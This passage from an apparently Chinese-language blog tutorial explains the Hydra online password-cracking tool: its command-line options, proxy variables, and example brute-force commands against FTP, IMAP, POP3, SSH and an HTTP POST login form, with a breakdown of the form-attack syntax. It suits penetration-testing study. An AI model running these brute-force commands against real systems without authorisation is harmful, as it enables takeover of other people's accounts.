  -S        使用SSL连接
  -s PORT   若是服务没有使用默认端口,则用这一参数指定端口
  -l LOGIN or -L FILE  把LOGIN作为登录名,或是从文件FILE中载入一系列登录名
  -p PASS  or -P FILE  将PASS作为密码, 或是从文件FILE中载入一系列密码
  -x MIN:MAX:CHARSET  生成暴力破解用的密码, 输入 "-x -h" 获得更多帮助
  -e nsr    尝试: n 空密码,s 将登录名作为密码,r 反转登录
  -u        循环用户名, 不使用密码 (有效的! 用 -x 说明)
  -C FILE   取代 -L/-P 选项,输入格式是以冒号分割:"login:pass"
  -M FILE   要攻击的服务器列表, 一行一个, 用':'指定端口
  -o FILE   将找到的用户名/密码对写入到文件FILE中,而不输出到标准输出
  -f / -F   当找到一对用户名/密码后退出 (-M: -f 每个主机, -F 全局)
  -t TASKS  同时运行TASKS个线程 (每个主机默认为16)
  -w / -W TIME  每个请求的等待时间 (32) / 线程之间发起连接的时间间隔 (0)
  -4 / -6   使用IPv4 (默认) / IPv6 地址 (put always in [] also in -M)
  -v / -V / -d  冗余模式 / 展示每次攻击时使用的用户名和密码 / 调试模式
  -O        使用旧版的SSL v2 和 v3
  -q        不输出有关连接错误的信息
  -U        服务模块用法细节
  server    目标服务器: DNS, IP or 192.168.0.0/24 (使用此选项或 -M 选项)
  service   要破解的服务 (支持的协议在上面已经给出了)
  OPT       一些服务模块支持额外的输入 (参数 -U 可查看模块帮助)

用HYDRA_PROXY_HTTP或HYDRA_PROXY(如果需要,则用HYDRA_PROXY_AUTH指定用户名密码)来配置代理,例如:

  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
  % export HYDRA_PROXY_HTTP=http://proxy:8080
  % export HYDRA_PROXY_AUTH=user:pass

下面是几个使用示例:

  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

注意到有一种服务类型为:http[s]-{get|post}-form,选择此服务类型,Hydra会发送Web的form表单模拟登录,可选POST或GET方式。下面是以POST方式提交form表单、暴力破解登录密码的例子:

  hydra -L userlist.txt -P passlist.txt 192.168.56.101 http-post-form "/admin/login.jsp:username=^USER^&password=^PASS^&submit=login:wrong username or password"

可以看到,在服务类型http-post-form后,还有一个长长的字符串参数,这个参数被“:”分割成了三部分,分别是:

  • /admin/login.jsp
  • username=^USER^&password=^PASS^&submit=login
  • wrong username or password

第一部分是登录页面的路径;第二部分是表单字段,用“^USER^”作为用户名的占位符、“^PASS^”作为登录密码的占位符;第三部分是错误提示,即用户名或密码错误时返回页面中包含的一段字符串,Hydra根据这个字符串来判断登录是否成功。

]]>
https://blog.werner.wiki/online-brute-force-tool-hydra/feed/ 0